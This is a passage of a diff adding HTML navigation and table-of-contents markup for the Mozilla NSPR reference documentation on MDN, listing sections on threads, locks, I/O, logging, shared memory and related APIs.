+                <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#Setting_Thread_Priorities">Setting Thread Priorities</a></li>
+                <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#Preempting_Threads">Preempting Threads</a></li>
+                <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#Interrupting_Threads">Interrupting Threads</a></li>
+              </ol>
+            </li>
+          </ol>
+        </li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#NSPR_Thread_Synchronization">NSPR Thread Synchronization</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#Locks_and_Monitors">Locks and Monitors</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#Condition_Variables">Condition Variables</a></li>
+          </ol>
+        </li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#NSPR_Sample_Code">NSPR Sample Code</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>NSPR Types</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#Calling_Convention_Types">Calling Convention Types</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#Algebraic_Types">Algebraic Types</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#8-.2C_16-.2C_and_32-bit_Integer_Types">8-, 16-, and 32-bit Integer Types</a>
+              <ol>
+                <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#Signed_Integers">Signed Integers</a></li>
+                <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#Unsigned_Integers">Unsigned Integers</a></li>
+              </ol>
+            </li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#64-bit_Integer_Types">64-bit Integer Types</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#Floating-Point_Number_Type">Floating-Point Integer Type</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#Native_OS_Integer_Types">Native OS Integer Types</a></li>
+          </ol>
+        </li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#Miscellaneous_Types">Miscellaneous Types</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#Size_Type">Size Type</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#Pointer_Difference_Types">Pointer Difference Types</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#Boolean_Types">Boolean Types</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#Status_Type_for_Return_Values">Status Type for Return Values</a></li>
+          </ol>
+        </li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Threads</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Threads#Threading_Types_and_Constants">Threading Types and Constants</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Threads#Threading_Functions">Threading Functions</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Threads#Creating.2C_Joining.2C_and_Identifying_Threads">Creating, Joining, and Identifying Threads</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Threads#Controlling_Thread_Priorities">Controlling Thread Priorities</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Threads#Controlling_Per-Thread_Private_Data">Controlling Per-Thread Private Data</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Threads#Interrupting_and_Yielding">Interrupting and Yielding</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Threads#Setting_Global_Thread_Concurrency">Setting Global Thread Concurrency</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Threads#Getting_a_Thread.27s_Scope">Getting a Thread's Scope</a></li>
+          </ol>
+        </li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Process Initialization</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Process_Initialization#Identity_and_Versioning">Identity and Versioning</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Process_Initialization#Name_and_Version_Constants">Name and Version Constants</a></li>
+          </ol>
+        </li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Process_Initialization#Initialization_and_Cleanup">Initialization and Cleanup</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Process_Initialization#Module_Initialization">Module Initialization</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Locks</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Locks#Lock_Type">Lock Type</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Locks#Lock_Functions">Lock Functions</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Condition Variables</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Condition_Variables#Condition_Variable_Type">Condition Variable Type</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Condition_Variables#Condition_Variable_Functions">Condition Variable Functions</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Monitors</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Monitors#Monitor_Type">Monitor Type</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Monitors#Monitor_Functions">Monitor Functions</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Cached Monitors</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Cached_Monitors#Cached_Monitor_Functions">Cached Monitor Functions</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>I/O Types</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Types#Directory_Type">Directory Type</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Types#File_Descriptor_Types">File Descriptor Types</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Types#File_Info_Types">File Info Types</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Types#Network_Address_Types">Network Address Types</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Types#Types_Used_with_Socket_Options_Functions">Types Used with Socket Options Functions</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Types#Type_Used_with_Memory-Mapped_I.2FO">Type Used with Memory-Mapped I/O</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Types#Offset_Interpretation_for_Seek_Functions">Offset Interpretation for Seek Functions</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>I/O Functions</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Functions#Functions_that_Operate_on_Pathnames">Functions that Operate on Pathnames</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Functions#Functions_that_Act_on_File_Descriptors">Functions that Act on File Descriptors</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Functions#Directory_I.2FO_Functions">Directory I/O Functions</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Functions#Socket_Manipolation_Functions">Socket Manipolation Functions</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Functions#Converting_Between_Host_and_Network_Addresses">Converting Between Host and Network Addresses</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Functions#Memory-Mapped_I.2FO_Functions">Memory-Mapped I/O Functions</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Functions#Anonymous_Pipe_Function">Anonymous Pipe Function</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Functions#Polling_Functions">Polling Functions</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Functions#Pollable_Events">Pollable Events</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Functions#Manipulating_Layers">Manipulating Layers</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Network Addresses</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Network_Addresses#Network_Address_Types_and_Constants">Network Address Types and Constants</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Network_Addresses#Network_Address_Functions">Network Address Functions</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Atomic Operations</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_AtomicIncrement">PR_AtomicIncrement</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_AtomicDecrement">PR_AtomicDecrement</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_AtomicSet">PR_AtomicSet</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Interval Timing</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Interval_Timing#Interval_Time_Type_and_Constants">Interval Time Type and Constants</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Interval_Timing#Interval_Functions">Interval Functions</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Date and Time</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Date_and_Time#Types_and_Constants">Types and Constants</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Date_and_Time#Time_Parameter_Callback_Functions">Time Parameter Callback Functions</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Date_and_Time#Functions">Functions</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Memory Management Operations</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Memory_Management_Operations#Memory_Allocation_Functions">Memory Allocation Functions</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Memory_Management_Operations#Memory_Allocation_Macros">Memory Allocation Macros</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>String Operations</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PL_strlen">PL_strlen</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PL_strcpy">PL_strcpy</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PL_strdup">PL_strdup</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PL_strfree">PL_strfree</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Floating Point Number to String Conversion</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_strtod">PR_strtod</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_dtoa">PR_dtoa</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_cnvtf">PR_cnvtf</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Linked Lists</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Linked_Lists#Linked_List_Types">Linked List Types</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PRCList">PRCList</a></li>
+          </ol>
+        </li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Linked_Lists#Linked_List_Macros">Linked List Macros</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_INIT_CLIST">PR_INIT_CLIST</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_INIT_STATIC_CLIST">PR_INIT_STATIC_CLIST</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_APPEND_LINK">PR_APPEND_LINK</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_INSERT_LINK">PR_INSERT_LINK</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_NEXT_LINK">PR_NEXT_LINK</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_PREV_LINK">PR_PREV_LINK</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_REMOVE_LINK">PR_REMOVE_LINK</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_REMOVE_AND_INIT_LINK">PR_REMOVE_AND_INIT_LINK</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_INSERT_BEFORE">PR_INSERT_BEFORE</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_INSERT_AFTER">PR_INSERT_AFTER</a></li>
+          </ol>
+        </li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Dynamic Library Linking</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Dynamic_Library_Linking#Library_Linking_Types">Library Linking Types</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PRLibrary">PRLibrary</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PRStaticLinkTable">PRStaticLinkTable</a></li>
+          </ol>
+        </li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Dynamic_Library_Linking#Library_Linking_Functions">Library Linking Functions</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_SetLibraryPath">PR_SetLibraryPath</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_GetLibraryPath">PR_GetLibraryPath</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_GetLibraryName">PR_GetLibraryName</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_FreeLibraryName">PR_FreeLibraryName</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_LoadLibrary">PR_LoadLibrary</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_UnloadLibrary">PR_UnloadLibrary</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_FindSymbol">PR_FindSymbol</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_FindSymbolAndLibrary">PR_FindSymbolAndLibrary</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Dynamic_Library_Linking#Finding_Symbols_Defined_in_the_Main_Executable_Program">Finding Symbols Defined in the Main Executable Program</a></li>
+          </ol>
+        </li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Dynamic_Library_Linking#Platform_Notes">Platform Notes</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Dynamic_Library_Linking#Dynamic_Library_Search_Path">Dynamic Library Search Path</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Dynamic_Library_Linking#Exporting_Symbols_from_the_Main_Executable_Program">Exporting Symbols from the Main Executable Program</a></li>
+          </ol>
+        </li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Process Management and Interprocess Communication</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Process_Management_and_Interprocess_Communication#Process_Management_Types_and_Constants">Process Management Types and Constants</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PRProcess">PRProcess</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PRProcessAttr">PRProcessAttr</a></li>
+          </ol>
+        </li>
+        <li><a href="/es/es/docs/Mozilla/Projects/NSPR/Reference/Process_Management_and_Interprocess_Communication#Process_Management_Functions">Process Management Functions</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Process_Management_and_Interprocess_Communication#Setting_the_Attributes_of_a_New_Process">Setting the Attributes of a New Process</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Process_Management_and_Interprocess_Communication#Creating_and_Managing_Processes">Creating and Managing Processes</a></li>
+          </ol>
+        </li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Logging</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Logging#Conditional_Compilation_and_Execution">Conditional Compilation and Execution</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Logging#Log_Types_and_Variables">Log Types and Variables</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PRLogModoleInfo">PRLogModoleInfo</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PRLogModoleLevel">PRLogModoleLevel</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_LOG_MODULES">NSPR_LOG_MODULES</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_LOG_FILE">NSPR_LOG_FILE</a></li>
+          </ol>
+        </li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Logging#Logging_Functions_and_Macros">Logging Functions and Macros</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_NewLogModole">PR_NewLogModole</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_SetLogFile">PR_SetLogFile</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_SetLogBuffering">PR_SetLogBuffering</a>/li&gt;
+              </li><li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_LogPrint">PR_LogPrint</a></li>
+              <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_LogFlush">PR_LogFlush</a></li>
+              <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_LOG_TEST">PR_LOG_TEST</a></li>
+              <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_LOG">PR_LOG</a></li>
+              <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_Assert_">PR_Assert</a></li>
+              <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_ASSERT">PR_ASSERT</a></li>
+              <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_NOT_REACHED">PR_NOT_REACHED</a></li>
+            </ol>
+          </li>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Logging#Use_Example">Use Example</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>Named Shared Memory</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Named_Shared_Memory#Shared_Memory_Protocol">Shared Memory Protocol</a></li>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Named_Shared_Memory#Named_Shared_Memory_Functions">Named Shared Memory Functions</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>Anonymous Shared Memory</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Anonymous_Shared_Memory#Anonymous_Memory_Protocol">Anonymous Memory Protocol</a></li>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Anonymous_Shared_Memory#Anonymous_Shared_Memory_Functions">Anonymous Shared Memory Functions</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>IPC Semaphores</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/IPC_Semaphores#IPC_Semaphore_Functions">IPC Semaphore Functions</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>Thread Pools</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Thread_Pools#Thread_Pool_Types">Thread Pool Types</a></li>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Thread_Pools#Thread_Pool_Functions">Thread Pool Functions</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>Random Number Generator</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Random_Number_Generator#Random_Number_Generator_Function">Random Number Generator Function</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>Hash Tables</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Hash_Tables#Hash_Tables_and_Type_Constants">Hash Tables and Type Constants</a></li>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Hash_Tables#Hash_Table_Functions">Hash Table Functions</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>NSPR Error Handling</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Error_Handling#Error_Type">Error Type</a></li>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Error_Handling#Error_Functions">Error Functions</a></li>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Error_Handling#Error_Codes">Error Codes</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>Contribute</summary>
+        <ol>
+          <li><a href="/es/docs/MDN/Doc_status/NSPR"></a></li>
+          <li><a href="/es/docs/MDN">The MDN Project</a></li>
+        </ol>
+      </details>
+    </li>
+  </ol>
+</section>
+
+<h2 id="Introduction_to_NSPR" name="Introduction_to_NSPR"><a href="/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR">Introduction to NSPR</a></h2>
+
+<ul>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#NSPR_Naming_Conventions">NSPR Naming Conventions</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#NSPR_Threads">NSPR Threads</a>
+  <ul>
+   <li><a href="/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#Thread_Scheduling">Thread Scheduling</a>
+    <ul>
+     <li><a href="/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#Setting_Thread_Priorities">Setting Thread Priorities</a></li>
+     <li><a href="/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#Preempting_Threads">Preempting Threads</a></li>
+     <li><a href="/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#Interrupting_Threads">Interrupting Threads</a></li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#NSPR_Thread_Synchronization">NSPR Thread Synchronization</a>
+  <ul>
+   <li><a href="/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#Locks_and_Monitors">Locks and Monitors</a></li>
+   <li><a href="/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#Condition_Variables">Condition Variables</a></li>
+  </ul>
+ </li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#NSPR_Sample_Code">NSPR Sample Code</a></li>
+</ul>
+
+<h2 id="NSPR_Types" name="NSPR_Types"><a href="/Mozilla/Projects/NSPR/Reference/NSPR_Types">NSPR Types</a></h2>
+
+<ul>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/NSPR_Types#Calling_Convention_Types">Calling Convention Types</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/NSPR_Types#Algebraic_Types">Algebraic Types</a>
+  <ul>
+   <li><a href="/Mozilla/Projects/NSPR/Reference/NSPR_Types#8-.2C_16-.2C_and_32-bit_Integer_Types">8-, 16-, and 32-bit Integer Types</a>
+    <ul>
+     <li><a href="/Mozilla/Projects/NSPR/Reference/NSPR_Types#Signed_Integers">Signed Integers</a></li>
+     <li><a href="/Mozilla/Projects/NSPR/Reference/NSPR_Types#Unsigned_Integers">Unsigned Integers</a></li>
+    </ul>
+   </li>
+   <li><a href="/Mozilla/Projects/NSPR/Reference/NSPR_Types#64-bit_Integer_Types">64-bit Integer Types</a></li>
+   <li><a href="/Mozilla/Projects/NSPR/Reference/NSPR_Types#Floating-Point_Number_Type">Floating-Point Integer Type</a></li>
+   <li><a href="/Mozilla/Projects/NSPR/Reference/NSPR_Types#Native_OS_Integer_Types">Native OS Integer Types</a></li>
+  </ul>
+ </li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/NSPR_Types#Miscellaneous_Types">Miscellaneous Types</a>
+  <ul>
+   <li><a href="/Mozilla/Projects/NSPR/Reference/NSPR_Types#Size_Type">Size Type</a></li>
+   <li><a href="/Mozilla/Projects/NSPR/Reference/NSPR_Types#Pointer_Difference_Types">Pointer Difference Types</a></li>
+   <li><a href="/Mozilla/Projects/NSPR/Reference/NSPR_Types#Boolean_Types">Boolean Types</a></li>
+   <li><a href="/Mozilla/Projects/NSPR/Reference/NSPR_Types#Status_Type_for_Return_Values">Status Type for Return Values</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Threads" name="Threads"><a href="/Mozilla/Projects/NSPR/Reference/Threads">Threads</a></h2>
+
+<ul>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Threads#Threading_Types_and_Constants">Threading Types and Constants</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Threads#Threading_Functions">Threading Functions</a>
+  <ul>
+   <li><a href="/Mozilla/Projects/NSPR/Reference/Threads#Creating.2C_Joining.2C_and_Identifying_Threads">Creating, Joining, and Identifying Threads</a></li>
+   <li><a href="/Mozilla/Projects/NSPR/Reference/Threads#Controlling_Thread_Priorities">Controlling Thread Priorities</a></li>
+   <li><a href="/Mozilla/Projects/NSPR/Reference/Threads#Controlling_Per-Thread_Private_Data">Controlling Per-Thread Private Data</a></li>
+   <li><a href="/Mozilla/Projects/NSPR/Reference/Threads#Interrupting_and_Yielding">Interrupting and Yielding</a></li>
+   <li><a href="/Mozilla/Projects/NSPR/Reference/Threads#Setting_Global_Thread_Concurrency">Setting Global Thread Concurrency</a></li>
+   <li><a href="/Mozilla/Projects/NSPR/Reference/Threads#Getting_a_Thread.27s_Scope">Getting a Thread's Scope</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Process_Initialization" name="Process_Initialization"><a href="/Mozilla/Projects/NSPR/Reference/Process_Initialization">Process Initialization</a></h2>
+
+<ul>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Process_Initialization#Identity_and_Versioning">Identity and Versioning</a>
+
+  <ul>
+   <li><a href="/Mozilla/Projects/NSPR/Reference/Process_Initialization#Name_and_Version_Constants">Name and Version Constants</a></li>
+  </ul>
+ </li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Process_Initialization#Initialization_and_Cleanup">Initialization and Cleanup</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Process_Initialization#Module_Initialization">Module Initialization</a></li>
+</ul>
+
+<h2 id="Locks" name="Locks"><a href="/Mozilla/Projects/NSPR/Reference/Locks">Locks</a></h2>
+
+<ul>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Locks#Lock_Type">Lock Type</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Locks#Lock_Functions">Lock Functions</a></li>
+</ul>
+
+<h2 id="Condition_Variables" name="Condition_Variables"><a href="/Mozilla/Projects/NSPR/Reference/Condition_Variables">Condition Variables</a></h2>
+
+<ul>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Condition_Variables#Condition_Variable_Type">Condition Variable Type</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Condition_Variables#Condition_Variable_Functions">Condition Variable Functions</a></li>
+</ul>
+
+<h2 id="Monitors" name="Monitors"><a href="/Mozilla/Projects/NSPR/Reference/Monitors">Monitors</a></h2>
+
+<ul>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Monitors#Monitor_Type">Monitor Type</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Monitors#Monitor_Functions">Monitor Functions</a></li>
+</ul>
+
+<h2 id="Cached_Monitors" name="Cached_Monitors"><a href="/Mozilla/Projects/NSPR/Reference/Cached_Monitors">Cached Monitors</a></h2>
+
+<ul>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Cached_Monitors#Cached_Monitor_Functions">Cached Monitor Functions</a></li>
+</ul>
+
+<h2 id="I.2FO_Types" name="I.2FO_Types"><a href="/Mozilla/Projects/NSPR/Reference/I_O_Types">I/O Types</a></h2>
+
+<ul>
